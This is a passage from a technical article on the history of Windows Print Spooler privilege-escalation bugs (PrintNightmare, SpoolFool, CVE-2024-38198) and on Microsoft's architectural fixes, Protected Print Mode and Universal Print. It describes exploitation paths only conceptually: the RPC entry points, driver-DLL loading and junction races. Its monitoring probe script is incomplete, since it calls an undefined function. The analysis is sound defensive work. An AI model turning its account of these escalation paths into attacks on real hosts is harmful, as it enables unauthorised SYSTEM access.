On August 13, 2024 Patch Tuesday, Microsoft patched a Windows Print Spooler Elevation of Privilege Vulnerability. The CVSS v3.1 base score was 7.5, with vector AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H [@wiz-cve-2024-38198] [@rapid7-cve-2024-38198]. The CWE class was 345, Insufficient Verification of Data Authenticity [@wiz-cve-2024-38198]. The exploit primitive required winning a race condition. No public researcher attribution exists for it. There is, as of mid-2026, no public PoC.

The framing here has to be precise. CWE-345 is "Insufficient Verification of Data Authenticity"; CWE-362 is "Race Condition." These are two different classes. The exploit happens to require winning a race condition to be exploitable; that is a statement about how hard it is to exploit, not a statement about the underlying bug class. Microsoft (per Wiz, citing the MSRC advisory) classified the underlying defect as CWE-345.The CWE-345 attribution for CVE-2024-38198 is INFERRED via Wiz's vulnerability database, which states verbatim that "the vulnerability has been classified under CWE-345 (Insufficient Verification of Data Authenticity) by Microsoft Corporation" [@wiz-cve-2024-38198]. The MSRC update-guide page is a JavaScript single-page application, so verification of the CWE attribution by automated tools like web_fetch runs through Wiz's vulnerability database as the one-step intermediary; a reader with a browser can confirm the same classification directly on the MSRC page. Rapid7's vulnerability database carries the per-SKU KB list and confirms the August 13, 2024 publication date [@rapid7-cve-2024-38198].

Why this CVE matters for the section 5 argument: it is the empirical proof point that the spooler was still producing novel-class EoP primitives three years after PrintNightmare, eight months after Microsoft announced WPP in the December 2023 MORSE blog [@ms-blog-secure-print-experience-4002645], and seven weeks before WPP shipped opt-in.

Four patch waves across three years. Five named CVEs in the patch tree, plus four more in the pre-history. Nine independently classed Print Spooler SYSTEM-code-execution primitives in fifteen years. The next section is about why Microsoft did not, and could not, ship a tenth patch that closed the class.

4.6 The Four-Generation Patch Tree, in One Diagram

The patch tree, mapped to the entry point each generation closed and the bypass each generation enabled:

flowchart TD G1["G1: June 8, 2021
RpcAddPrinterDriverEx
auth check added"] G2["G2: July 6, 2021
KB5004945 emergency
RpcAsyncAddPrinterDriver patched"] G3["G3: August 10, 2021
KB5005010 / KB5005033
RestrictDriverInstallationToAdmins default 0 to 1"] G3b["G3b: September 14, 2021
KB5005652
no settings combination is equivalent"] G4["G4: February 8, 2022
CVE-2022-21999 SpoolFool
SpoolDirectory + NTFS junction CWE-59"] G5["G5: August 13, 2024
CVE-2024-38198
CWE-345 race-condition-exploitable"] G1 --> G2 G2 --> G3 G3 --> G3b G3b --> G4 G4 --> G5 G5 --> EXIT["Architectural exit:
WPP / Universal Print
(section 5)"]

And the four-fix-strategy comparison matrix in scannable form:

Generation	CVE	Patch artifact	Attack surface closed	Attack surface left open	Time to documented bypass
G1	CVE-2021-1675	June 8 monthly patch	`RpcAddPrinterDriverEx` (MS-RPRN) low-priv path	`RpcAsyncAddPrinterDriver` (MS-PAR) low-priv path	~3 weeks
G2	CVE-2021-34527	KB5004945 (July 6-7 OOB)	Both RPC entry points	Point-and-Print elevation suppression (`NoWarningNoElevationOnInstall=1`)	~5 weeks (config-not-yet-flipped)
G3	CVE-2021-34481	KB5005010 / KB5005033 / KB5005652	Admin-only default for new printer driver install	Spool directory filesystem operations	~21 weeks (SpoolFool)
G4	CVE-2022-21999	February 2022 patch	`SpoolDirectory` reparse-point race	Other spooler filesystem operations and authenticity checks	~30 months (CVE-2024-38198)
G5	CVE-2024-38198	August 13, 2024 patch	CWE-345 authenticity gap (race-condition exploitable)	Architectural primitive itself	(no public bypass as of June 2026)

Five subsections. Five entry points. One architectural primitive. The patches do not converge because they cannot.

5. The Architectural Concession: Why Microsoft Cannot Sandbox `spoolsv.exe`

An obvious question reading section 4 is: why does Microsoft not just sandbox spoolsv.exe? AppContainer exists. Win32 has had constrained-token processes since Windows 8. The Microsoft Office suite runs in low-trust containers. Why is the Print Spooler the exception?

5.1 The Naive Sandbox Proposal

The naive proposal is to run spoolsv.exe in an AppContainer with no SYSTEM token. The proposal fails for two reasons. The first is engineering. The spooler must register with the Service Control Manager, must coordinate with kernel-mode print components, and must accept inbound RPC over a system named pipe -- operations a fully constrained token does not permit. That problem is solvable; it costs engineering effort, but it has obvious answers (broker process, careful capability grants, custom token).

A Windows process sandboxing primitive introduced for the Universal Windows Platform that runs a process with a custom integrity level, a restricted token, and a set of explicitly granted capabilities. AppContainer-restricted processes cannot make network connections, read user files, or invoke APIs outside their capability set without explicit permission. Microsoft Edge content processes and many Windows Store apps run in AppContainers; legacy Win32 services typically do not.

The second reason is the back-compat constraint from section 2.3. The third-party driver DLLs in the installed base are signed and packaged to expect LocalSystem context. They use Win32 APIs that a constrained token cannot call. They write to filesystem locations a constrained token cannot reach. They register printer ports through interfaces that a fully sandboxed spooler could not host. The cost of the constrained-token migration is not the cost of changing one Microsoft binary. It is the cost of breaking, in the worst case, every Windows-compatible printer manufactured before 2024.Microsoft has never published a statement that AppContainer was explicitly evaluated and rejected for spoolsv.exe. The argument above is INFERRED from the absence of any constrained-token Spooler in any shipped Windows release, and from the MORSE blog's repeated framing of the third-party driver install base as the binding constraint [@ms-wpp-more-info]. The inference is well grounded but not directly stated.

5.2 PrintIsolationHost.exe as Partial Answer

Microsoft's first attempt to break the "DLL loaded inside spoolsv.exe" conjunct shipped with Windows 7 and Windows Server 2008 R2 (October 22, 2009) [@ms-print-spooler-architecture] [@ms-previous-versions-server-2008-R2]. It was called Printer Driver Isolation. The mechanism: third-party driver code can run in a sibling process called PrintIsolationHost.exe. The spooler talks to that process over IPC instead of loading the driver DLL into its own address space.

A sibling host process introduced in Windows 7 / Server 2008 R2 (October 22, 2009) that can load third-party printer driver code outside of `spoolsv.exe`. Drivers opt in via the `DriverIsolation` directive in their INF file: Microsoft's documentation enumerates two values, `2` ("the driver supports driver isolation") and `0` ("the driver does not support driver isolation"; the same effect as omitting the keyword) [@ms-printer-driver-isolation]. By default, `PrintIsolationHost.exe` runs as LocalSystem [@ms-printer-driver-isolation] [@ms-print-spooler-architecture]. The isolation is process isolation, not privilege isolation.

Three details matter for the section 5 argument. First, the isolation is process isolation, not privilege isolation: PrintIsolationHost.exe itself runs as LocalSystem. A bug in PrintIsolationHost.exe is still a SYSTEM bug, just in a different process. Second, the opt-in is the driver vendor's responsibility, set in the INF file's DriverIsolation directive [@ms-printer-driver-isolation]. By default, if the INF does not opt in, the spooler loads the driver in-process. Third, and most importantly: PrintIsolationHost.exe only hosts driver code at print time. It does not move the RPC server, the driver-installation flow (RpcAddPrinterDriverEx and RpcAsyncAddPrinterDriver), or the spool directory filesystem operations out of spoolsv.exe. The PrintNightmare entry points are all in code paths Printer Driver Isolation does not touch.

So Printer Driver Isolation existed for twelve years before PrintNightmare. It did not help. It addresses a different attack surface.

5.3 The MORSE Framing

In December 2023, the Microsoft Offensive Research and Security Engineering (MORSE) team and the Print team co-authored a Microsoft Security Blog post announcing what would become Windows Protected Print Mode. The blog and its companion Microsoft Learn pages contain two sentences that are load-bearing for the rest of this article.

The first sentence sets the cadence empirically:

Print bugs accounted for 9% of all cases reported to the Microsoft Security Response Center (MSRC) over the past three years. -- Microsoft, December 2023 [@ms-wpp-more-info] [@ms-blog-secure-print-experience-4002645]

The "over the past three years" qualifier matters. The 9% is a baseline measurement for 2020 through 2023, not a long-term steady-state rate. Without the qualifier, the number reads as a stable structural fact about Windows. With the qualifier, it reads as what it actually is: a measurement of the period during which the patch cascade documented in section 4 was running.

The second sentence is more consequential. Microsoft, in its own voice, names the architectural answer:

The ideal solution would be to remove drivers entirely and move the Spooler to a least privilege security model. -- Microsoft, MORSE / Print team [@ms-wpp-more-info]

Read that sentence in the context of the section 4 patch cascade. Microsoft is saying that the architectural answer to the bug class is not a better authorization check, not a tighter Point and Print policy, not a more aggressive default flip. It is to remove third-party drivers entirely and to move the spooler off LocalSystem. The enterprise version of the same document spells out the coverage expectation:

Windows protected print mode would mitigate over half of past reported security issues for Windows print. -- Microsoft, Windows Protected Print Mode for Enterprises [@ms-wpp-enterprises]

"Past reported security issues for Windows print" is a class. "Would mitigate over half" is a coverage statement at the class level, not at the bug level. WPP is a class mitigation; it is the architectural answer the patch cascade could not produce.

5.4 The Forced Parallel-Stack Answer

Here is where the argument turns. Microsoft did not ship one architectural answer. It shipped two. The reason is that neither one alone covers the back-compat envelope.

Universal Print is the cloud-hosted answer. It removes the local print queue, removes the local SYSTEM-context Spooler from the workflow entirely, and centralizes the print fan-out in Microsoft 365 [@ms-universal-print-whatis]. On a Universal-Print-only endpoint with the local Spooler service disabled, there is no \PIPE\spoolss exposed to a low-privilege user. The architectural primitive's conjunct (a) -- the low-privilege RPC entry -- simply does not exist on that host.

Windows Protected Print Mode is the local-stack answer. It keeps the local Spooler service but restructures it: most operations are deferred to a Spooler Worker process with a restricted token, and the spooler refuses to load any driver DLL that is not Microsoft-signed [@ms-wpp-more-info] [@ms-wpp-canonical]. The architectural primitive's conjuncts (b) (caller-influenced DLL load) and partially (c) (SYSTEM context, for per-user operations) are broken.

Neither answer covers the union of constraints that a real Windows fleet faces. Universal Print requires cloud connectivity, Microsoft 365 / Entra ID licensing, and per-printer service costs. It does not work offline. It does not work for specialty printers (industrial label printers, healthcare imaging printers, secure check printers) that have no IPP-class-compatible firmware. WPP requires Mopria-certified printers or the small set of Microsoft-signed drivers that ship inbox. It does not work for the same specialty-printer category. The two answers cover different threat models, different licensing models, and different operational realities.

Key idea: Windows Protected Print Mode and Universal Print are not redundant. They break different conjuncts of the architectural primitive, and together they cover what neither covers alone. The 2024 Windows print stack is a deliberate parallel architecture, not a transition state.

The WPP FAQ confirms the parallel-stack reading. When asked "Will Windows protected print mode ever be enabled by default?" the page answers verbatim: "Windows protected print mode will be enabled by default at a future date" [@ms-wpp-faq].The "future date" phrasing in the WPP FAQ is preserved verbatim because it carries the entire commitment. Microsoft has published deprecation milestones for third-party drivers (January 15, 2026; July 1, 2026; July 1, 2027) [@ms-end-of-servicing], but it has not committed to a date for WPP-on-by-default. As of June 2026, "at a future date" is still the only formal commitment.

5.5 The Conjunct Framing as Lead-in to Section 8

We can state the architectural argument compactly now and we will return to it formally in section 8. The architectural primitive has three conjuncts. (a) The service accepts low-privilege RPC. (b) It loads caller-influenced third-party DLLs. (c) It runs at SYSTEM. Any service of that shape produces a SYSTEM-execution primitive by construction. Microsoft's three shipped approaches each break exactly one conjunct:

flowchart LR PRIM["Architectural primitive
(a) low-priv RPC entry
(b) caller-influenced DLL load
(c) SYSTEM context"] EXITA["Break (a) low-priv RPC entry"] EXITB["Break (b) caller-influenced DLL load"] EXITC["Break (c) SYSTEM context"] PRIM --> EXITA PRIM --> EXITB PRIM --> EXITC EXITA --> UP["Universal Print (2021)
no local pipe spoolss"] EXITA --> CERT["Stop Spooler service
(CERT/CC 2021)"] EXITB --> WPPMOD["WPP module blocking (2024)
only Microsoft-signed drivers"] EXITC --> PIH["PrintIsolationHost (2009)
partial: still LocalSystem"] EXITC --> WPPWORKER["WPP Spooler Worker (2024)
restricted token, below SYSTEM IL"]

The remaining sections are about the design space Microsoft chose to occupy in 2024, why it occupies two points rather than one, and what is still missing in 2026 -- including, candidly, a satisfying answer for environments that cannot adopt either architectural exit.

6. State of the Art: Windows Protected Print Mode in 24H2

Windows Protected Print Mode shipped to Windows 11 24H2 on October 1, 2024 as an opt-in feature [@computerweekly-quocirca-wpp] [@ms-wpp-canonical]. As of June 2026 it is still opt-in. The WPP FAQ uses the verbatim phrase "at a future date" for when the default-on flip will happen [@ms-wpp-faq]. No date has been committed.

An opt-in Windows print stack introduced with Windows 11 24H2 (October 1, 2024) that exclusively uses the modern print stack, blocks all third-party printer drivers, runs normal spooler operations in a Spooler Worker process with a restricted token below SYSTEM integrity, and falls back to the inbox Microsoft IPP Class Driver for printer communication [@ms-wpp-canonical] [@ms-wpp-more-info]. Activation is by Group Policy ("Configure Windows protected print"), Intune (`./Device/Vendor/MSFT/Policy/Config/Printers/ConfigureWindowsProtectedPrint` via the Policy CSP for Printers [@ms-policy-csp-printers]), or registry [@ms-wpp-enterprises].

6.1 What WPP Changes

Microsoft's MORSE / Print team blog enumerates six concurrent changes [@ms-wpp-more-info]. Each one is interesting on its own; together they constitute the architectural exit.

Spooler Worker process with restricted token. Normal spoolsv.exe operations are deferred to a new Spooler Worker process. The worker runs with a restricted token that drops SeTcbPrivilege and SeAssignPrimaryTokenPrivilege and runs below SYSTEM integrity level. This is the operational form of "move the Spooler to a least privilege security model" from the MORSE quote.

The new Spooler Worker process has a new restricted token that removes many privileges such as SeTcbPrivilege, SeAssignPrimaryTokenPrivilege, and no longer runs at SYSTEM IL. -- Microsoft Learn, More information on Windows Protected Print Mode [@ms-wpp-more-info]

That sentence, taken verbatim from Microsoft's own architecture documentation [@ms-wpp-more-info] [@ms-wpp-more-info-wayback], is the most concrete claim Microsoft has shipped about how WPP breaks conjunct (c). Two privileges enumerated, one integrity level reduced. The legacy spoolsv.exe process is still SYSTEM; the worker that does the per-job work is not.

Module blocking. APIs that previously allowed third-party module loading (AddPrintProviderW and similar) are gated by a module-blocking policy. The MORSE document states the new policy verbatim: "only Microsoft Signed binaries required for IPP are loaded" [@ms-wpp-more-info].

XPS rendering per-user. XPS rendering, historically a source of memory-corruption bugs in PrintFilterPipelineSvc, runs per-user instead of as SYSTEM. A memory-corruption bug in the XPS parser now compromises a user, not the machine.

Process hardening on the Spooler Worker. The Spooler Worker process is built with Control Flow Guard, Control Flow Enforcement Technology (Intel CET shadow stack), Arbitrary Code Guard, Child Process Creation Disabled, and Redirection Guard enabled [@ms-wpp-more-info] [@msrc-redirectionguard-blog]. The MORSE blog explicitly says why the legacy spooler could not enable these mitigations: "many print drivers are decades old and are incompatible with modern security mitigations" [@ms-wpp-more-info].

Point and Print restricted. Point and Print can configure an IPP printer but cannot install a third-party driver. The MORSE document is verbatim: "Windows protected print mode prevents Point and Print from ever installing third-party drivers" [@ms-wpp-more-info]. That sentence is the architectural answer to the Generation 3 patch wave from section 4.3.

Fallback to inbox IPP class driver. Printing falls back to the Microsoft IPP Class Driver that ships with Windows. The driver works with Mopria-certified printers and with the Microsoft-signed driver subset [@mopria-certified-products] [@ms-modern-print-platform].

6.2 Mapping WPP to the Three Conjuncts

WPP breaks conjunct (b) by refusing to load anything that is not Microsoft-signed. It weakens conjunct (c) by moving the bulk of operations into a Spooler Worker with a restricted token below SYSTEM integrity. The low-privilege RPC entry (conjunct a) is preserved by design: the RPC interface still exists, clients still talk to it, but what they can ask the service to do is reduced.

That last asymmetry matters. WPP does not delete the \PIPE\spoolss endpoint. A WPP-enabled host still answers RpcAddPrinterDriverEx calls; it just refuses to load an unsigned driver in response. Detection rules that watched for the RPC call itself (the SigmaHQ Zeek-on-the-wire rule, for instance [@sigma-cve-2021-1675-zeek]) still see traffic on WPP hosts; rules that watched for the resulting unsigned DLL load (the SigmaHQ image-load rule [@sigma-cve-2021-1675-win-spooler]) should see audit events instead.

6.3 The Compatibility Envelope

WPP requires either a printer that the inbox IPP class driver can drive (a Mopria-certified printer in practice) or one of the small set of Microsoft-signed drivers. The Mopria Alliance certified-products directory lists a multi-vendor catalog of printers across Brother, Canon, HP, Epson, Lexmark, Xerox, and others [@mopria-certified-products]. The installed base of Mopria-certified printers is large.The Mopria Alliance does not publish a single official total install-base count. The certified-products directory is the canonical inventory [@mopria-certified-products], and the industry-analyst framing in the December 2023 MORSE blog points to a multi-vendor catalog "covering many of the most common printer brands sold worldwide" [@ms-blog-secure-print-experience-4002645]. We report the order of magnitude (industry-wide) rather than a brittle exact count.

Printers that require vendor-specific v3 drivers are not WPP-compatible by default. Industrial label printers (Zebra, Honeywell, SATO, TSC, Dymo) are the painful case. Their command languages (ZPL, EPL) are not part of the IPP class driver's repertoire [@ezeep-label-printers-wpp]. ezeep's June 2026 writeup is blunt: "Most thermal label printers... are not Mopria-certified, so they stop working when Windows Protected Print Mode is enforced. ZPL and EPL are not part of the IPP spec the IPP class driver speaks" [@ezeep-label-printers-wpp]. Three paths are open: keep WPP disabled on label workstations via GPO, refresh hardware to IPP-capable models, or use a cloud-rendered alternative.

Vendors that want WPP compatibility without a full IPP firmware conversion can ship Print Support Apps. Brother is one of the first vendors to publish a PSA [@brother-print-support-app]. Lexmark's vendor primary on the WPP transition documents the same path [@lexmark-wpp-support].

The Microsoft-supplied inbox driver that uses the Internet Printing Protocol (IPP) to communicate with printers that implement the Mopria-Alliance-certified IPP everywhere subset. WPP-enforced clients use this driver instead of a vendor-specific driver. Printers must be Mopria-certified (or implement Mopria-compatible IPP) for the inbox driver to drive them [@mopria-certified-products] [@ms-modern-print-platform]. The two pre-WPP Windows printer driver packaging models. v3 (Windows 2000 era) loads driver render code into the spooler process by default. v4 (Windows 8 era) is XPS-based, packaged for portability across architectures, and has a more limited print processor model. WPP deprecates both in favor of the inbox IPP class driver (or, transitionally, vendor Print Support Apps) [@ms-print-spooler-architecture] [@ms-end-of-servicing].

6.4 Deployment Surfaces and Detection Signals

WPP's enable / disable control is a binary two-state CSP. The Policy CSP page documents Printers/ConfigureWindowsProtectedPrint as accepting 0 (disabled, the 2026 default) or 1 (enabled), with no audit / monitor intermediate enum [@ms-policy-csp-printers]. The corresponding Group Policy path is "Computer Configuration > Administrative Templates > Printers > Configure Windows protected print" [@ms-wpp-enterprises]. CIS Benchmarks v5.0.1 (Windows 11) and v1.0.0 (Server 2025) treat the setting as a Level-2 hardening recommendation with the same binary registry value [@tenable-cis-w11-l2] [@tenable-cis-server-2025-l2].

This is an important correction to a piece of folk wisdom about WPP. The Windows kernel and AppLocker have audit / enforce modes; AppControl for Business has audit / enforce modes; AMSI has logging tiers. WPP does not. Microsoft did not ship an "audit" enum on ConfigureWindowsProtectedPrint. Administrators who want pre-enforcement telemetry have to instrument it themselves, either by reading the existing Microsoft-Windows-PrintService/Admin event log (which carries Point and Print failures and module-load refusals regardless of whether WPP is on) or by deploying WPP to a pilot ring and watching the same log on those pilot machines. The deployment pattern is rollout rings, not an in-product audit mode.

Because there is no in-product audit mode, the pre-enforcement signal is the existing print-services event log. The Microsoft-Windows-PrintService/Admin channel records driver-load failures, Point and Print restrictions, and plug-in load failures. Splunk Research's spoolsv.exe rule pack covers PrintService Admin Event ID 808 (plug-in load failure) paired with security log Event ID 4909 [@splunk-research-spoolsv-plugin-fail], and Event ID 316 for driver-add operations [@splunk-printnightmare-story] [@splunk-research-printnightmare-driver]. Redirection Guard mitigation events land in Microsoft-Windows-Security-Mitigations/Operational [@msrc-redirectionguard-blog]. The diagnostic Event ID 4098 (in the Application log) is the workhorse signal for Point and Print restrictions and predates WPP [@ms-event-ids-point-print].

Note: The ConfigureWindowsProtectedPrint CSP has two states: 0 (disabled) and 1 (enabled). There is no in-product audit / monitor mode. The right deployment pattern is rings: pilot, broad-pilot, production. Pilot a small ring of representative endpoints with WPP enforced and watch Microsoft-Windows-PrintService/Admin events 316, 808, and 4098 for failed driver loads and Point and Print restrictions. Identify the printers that would fail. Decide between a fleet hardware refresh, a transitional Print Support App, or an exclusion list. Then expand the ring.

The probe below models a WPP-state PowerShell script in JavaScript for the runtime. It pretends the four signals (WPP policy state, Redirection Guard, recent PrintService Admin events, IPP class driver availability) are already retrieved; in production the values come from the Group Policy resultant set, Get-ProcessMitigation, Get-WinEvent, and Get-PrinterDriver.

{` // Original PowerShell equivalents: // $wppPolicy = (Get-ItemProperty 'HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Printers') // .ConfigureWindowsProtectedPrint # 0 = disabled, 1 = enabled // $rg = (Get-ProcessMitigation -Name spoolsv.exe).RedirectionTrust // $events = Get-WinEvent -LogName 'Microsoft-Windows-PrintService/Admin'
// -MaxEvents 200 | Where-Object { $.Id -in 316,808,4098 -and
// $.TimeCreated -ge (Get-Date).AddDays(-7) } // $ipp = (Get-PrinterDriver -Name 'Microsoft IPP Class Driver') -ne $null

const state = { wppPolicy: 0, // 0 = disabled, 1 = enabled (binary CSP) redirectionGuard: 'Enabled', // 'Disabled' | 'Audit' | 'Enabled' recentPrintServiceFailures: 14, // count of EventID 316/808/4098 in last 7d inboxIppDriverPresent: true, deploymentRing: 'pilot' // 'pilot' | 'broad-pilot' | 'production' };

console.log(classify(state)); `}

6.5 Redirection Guard

Redirection Guard is an independent process mitigation that ships separately from WPP but composes with it. It first arrived in Windows 11 22H2 in late 2023 and was the subject of a June 2025 MSRC blog post that documents its design [@msrc-redirectionguard-blog]. The mitigation is documented in the PROCESS_MITIGATION_REDIRECTION_TRUST_POLICY Win32 API structure [@ms-redirection-trust-policy] and is invoked through Set-ProcessMitigation -Name spoolsv.exe -Enable RedirectionGuard [@ms-set-processmitigation].

The mechanism: a process opted into Redirection Guard refuses to follow filesystem junctions or symbolic links created by non-administrator users. The MSRC blog frames the scope plainly: "Junctions remain the biggest existing gap. Outside of a sandbox, they can be created by standard users and target any folder on the system" [@msrc-redirectionguard-blog]. The Risky Business bulletin on the launch documents the empirical impact: of forty-two filesystem-path-redirection CVEs Microsoft patched in 2024, thirty-two used attacker-created junctions and could have been blocked by Redirection Guard had it been in place [@risky-biz-redirectionguard].

Redirection Guard is the closest thing to a post-SpoolFool architectural fix in the legacy stack. WPP composes with it; a WPP-enabled host has both Redirection Guard on the legacy spoolsv.exe process and the additional CFG / CET / ACG / Child Process Creation Disabled / Redirection Guard set on the Spooler Worker [@ms-wpp-more-info].

6.6 A Failed PrintNightmare Attempt Against a WPP-Enabled Host

The sequence below shows what happens when a low-privilege user attempts the Generation 1 PrintNightmare exploit against a WPP-enabled host. The RPC entry point is still answered; the module load is refused; the audit log captures the attempt; the elevation does not happen.

sequenceDiagram participant U as Low-priv user participant P as PIPE spoolss endpoint participant S as spoolsv.exe (parent) participant W as Spooler Worker (restricted token) participant L as Module loader participant V as Signature check participant E as PrintService Admin log U->>P: RpcAddPrinterDriverEx (unsigned DLL) P->>S: dispatch RPC call S->>W: forward driver-install to worker W->>L: load requested driver DLL L->>V: verify signature V-->>L: reject (not Microsoft-signed) L-->>W: load refused W->>E: write audit event 4098 (Point and Print failure) W-->>S: return access-denied S-->>U: STATUS_ACCESS_DENIED Note over U,W: No code runs as SYSTEM. Defender sees attempt in PrintService Admin.

WPP is a partial answer that covers a large fraction of the threat model and a smaller fraction of the printer install base. The size of that smaller fraction -- specialty printers without IPP-class compatibility -- is the largest open practical problem in 2026 Print Spooler security.

7. Competing Answers: Universal Print versus Windows Protected Print Mode

Microsoft did not ship one architectural answer to Print Spooler. It shipped two. They are not redundant. They cover different threat models and different operational realities, and they are designed to coexist.

7.1 Universal Print at One Glance

Universal Print became generally available on March 2, 2021 [@ms-365-blog-universal-print-2212333] [@ms-universal-print-fundamentals].The exact March 2, 2021 GA date is industry knowledge anchored to Microsoft Ignite Spring 2021. The contemporaneous Microsoft 365 blog post [@ms-365-blog-universal-print-2212333] covers the wave but does not contain the verbatim date string. The Microsoft Learn fundamentals page documents the program's original ms.date of March 2, 2020 (one year before GA) [@ms-universal-print-fundamentals]. We cite both because each one supports a different facet of the same date. The service moves the print queue to Microsoft 365 / Entra ID, removes the on-premises print server entirely, and removes the need for client-side third-party drivers. An optional on-prem connector lets the cloud service drive printers that are not directly cloud-aware [@ms-universal-print-whatis].

Microsoft's cloud-hosted print service. Universal Print eliminates print servers like OneDrive eliminates file servers [@ms-universal-print-whatis]. The architectural exit it takes is breaking conjunct (a): a Universal-Print-only endpoint with the local Spooler service disabled has no `\PIPE\spoolss` exposed to a low-privilege user. Universal Print became generally available on March 2, 2021 [@ms-365-blog-universal-print-2212333] and reached GCC / GCC High in October 2023 [@ms-universal-print-government].

The architectural exit it takes is the one section 5 labelled (a): there is no \PIPE\spoolss endpoint exposed on a Universal-Print-only host. The endpoint is a Microsoft 365 service called MPSIPPService that runs at https://print.print.microsoft.com/ [@ms-universal-print-getting-started]. Authentication is Entra ID OAuth2 / OIDC [@ms-universal-print-getting-started]. The threat model it removes is the local SMB-reachable low-privilege caller; the threat model it introduces is the cloud-account compromise.

7.2 The Cost of Universal Print

Universal Print is not free. It requires a Microsoft 365 / Entra ID license that includes the Universal Print entitlement. It requires network connectivity to print (the optional on-prem connector mitigates this for cached jobs; pure offline printing without the connector is not supported) [@ms-universal-print-getting-started]. It is per-user / per-printer in cost. The compatibility envelope is the IPP class driver plus the connector's translation surface; vendor-specific drivers are not part of the cloud service.

Universal Print is available in commercial Microsoft 365 tenants and, as of October 2, 2023, in the GCC and GCC High government clouds. The fundamentals page records "Universal Print is FedRamp certified by Office 365 and is now available in GCC, GCC High, and DoD environments" [@ms-universal-print-government].

The threat model Universal Print does not cover: an attacker who can reach Microsoft 365 / Entra ID tokens has cloud-side access, not local-spooler access. The PrintNightmare-class attack is moved off the endpoint; a different attack class (cloud-token compromise, mailbox compromise, OAuth phishing) takes its place. Universal Print does not, on its own, harden the surface; it relocates the surface to a cloud the customer outsources.

7.3 Head-to-Head

The trade-offs are easiest to compare in scannable form:

Aspect	Universal Print	Windows Protected Print Mode
Architectural exit	Breaks conjunct (a): no local pipe spoolss	Breaks (b) and partially (c): no third-party drivers, Spooler Worker below SYSTEM IL
Deployment model	Cloud-hosted M365 service; optional on-prem connector	Local Windows feature, GPO / Intune toggle
Driver requirement	None on client; connector translates server-side	Microsoft IPP class driver or Microsoft-signed driver; Print Support Apps as transitional
Offline support	None native; on-prem connector required	Yes (local printing continues)
License requirement	M365 / Entra ID with Universal Print entitlement	None beyond Windows 11 24H2
Threat model covered	Removes the architectural primitive from the local host	Removes third-party-driver and SYSTEM-context surfaces
Threat model NOT covered	Cloud-side token / account compromise	The RPC entry point still exists; specialty printers still require legacy stack
Default state in 2026	Opt-in (license-gated)	Opt-in (Group Policy off by default)

7.4 The Composition Pattern

WPP and Universal Print can run on the same client. A managed enterprise endpoint can use Universal Print for its enrolled shared printers (cloud-mediated) and WPP for its locally-discovered printers (driverless local stack). Microsoft's documented stance is that this composition is the long-term direction. The WPP FAQ's "at a future date" language about default-on [@ms-wpp-faq] and the third-party-driver end-of-servicing milestones [@ms-end-of-servicing] together sketch a 2027-and-after world: WPP locally, Universal Print for cloud-enrolled printers, legacy stack restricted to specialty hosts that explicitly opt out.

A complete migration to Universal Print would force every Windows user to require Microsoft 365 entitlements and continuous network connectivity to print. That is a price Microsoft has not been willing to ask the global Windows install base to pay. WPP is the answer for endpoints that print locally; Universal Print is the answer for endpoints that print to enrolled shared printers; the parallel-stack architecture is the answer to the union. As of June 2026, no Microsoft document announces a date at which the local stack will be removed.

The composed architecture in one picture:

flowchart LR subgraph EP["Managed Windows endpoint"] APP["User application"] WIN["winspool.drv"] SPL["spoolsv.exe"] WORKER["Spooler Worker
restricted token"] UPCLI["Universal Print client"] end subgraph CLD["Microsoft 365 cloud"] UPSVC["Universal Print service
MPSIPPService"] CONN["Optional on-prem connector"] end subgraph LOC["Locally discovered printers"] IPP["Mopria / IPP printer"] SPEC["Specialty printer
(opt-out path)"] end APP --> WIN WIN --> SPL SPL --> WORKER WORKER --> IPP SPL -. opt-out .-> SPEC APP --> UPCLI UPCLI --> UPSVC UPSVC --> CONN CONN --> IPP

Two answers, deliberately. We promised in section 1 that we would not tell you which one to deploy. We are keeping that promise. The next section is about why no third answer covers the gap.

8. Theoretical Limits: The Architectural Impossibility Argument

We can state the architectural-impossibility claim formally now. It is bounded, it has been bounded for fifteen years on this artifact, and it is sharp enough to act on.

8.1 The Three-Conjunct Primitive

Any local service that simultaneously satisfies three conditions exposes a SYSTEM code-execution primitive by construction:

(a) accepts low-privilege RPC,
(b) loads caller-influenced third-party DLLs as part of those requests, and
(c) runs at SYSTEM context.

The primitive is independent of any particular implementation bug. Particular implementation bugs are how the primitive is exercised. The primitive itself is what makes those bugs exploitable.

Key idea: Any local service that simultaneously accepts low-privilege RPC, loads caller-influenced DLLs, and runs at SYSTEM context exposes a SYSTEM code-execution primitive by construction. No patch on individual entry points can close the class. The class is closed only by breaking one of the three conjuncts.

The argument is not an empirical generalization. It is a structural one. Given (a), (b), and (c), the attacker's path to SYSTEM-execution is a finite search problem: enumerate the entry points that load DLLs, find one whose DLL-load arguments the attacker can steer, supply an attacker-supplied DLL. The defender's only options are to remove one of the conjuncts. Patching individual entry points moves the search problem; it does not eliminate it. The 2021-2024 patch cascade is the empirical record of that move-but-not-eliminate dynamic.

8.2 The Three Exits

Each shipped architectural approach breaks exactly one conjunct.

Break (c), the SYSTEM context. PrintIsolationHost.exe shipped in 2009 as a partial answer: drivers can run in a sibling process, but that sibling process is itself LocalSystem by default [@ms-printer-driver-isolation]. WPP's Spooler Worker (2024) is more complete: a restricted token, below SYSTEM integrity level, for the bulk of per-user spooler operations [@ms-wpp-more-info].

Break (b), the caller-influenced DLL load. WPP module blocking (2024) refuses to load anything except Microsoft-signed binaries required for IPP [@ms-wpp-more-info]. The conjunct is no longer "loads caller-influenced DLLs"; it is "loads only Microsoft-signed DLLs the OS shipped."

Break (a), the low-privilege RPC entry. Universal Print (2021) removes the local \PIPE\spoolss endpoint from the endpoint's surface [@ms-universal-print-whatis]. The CERT/CC 2021 mitigation -- stop and disable the Spooler service -- is the same architectural exit with larger collateral damage (no local printing at all) [@cert-vu-383432].

8.3 What No Exit Covers

The intersection of constraints that no shipped exit covers: specialty printers that require v3 or v4 drivers, on a host that needs offline printing, on a non-managed endpoint, in an environment that cannot adopt cloud printing. Industrial label printers, secure check printers, and healthcare imaging devices are the canonical examples [@ezeep-label-printers-wpp]. This intersection is the empirical gap that justifies the parallel-stack answer in 2026 and the absence of a default-on commitment for WPP [@ms-wpp-faq].

8.4 The Argument as a Lower Bound

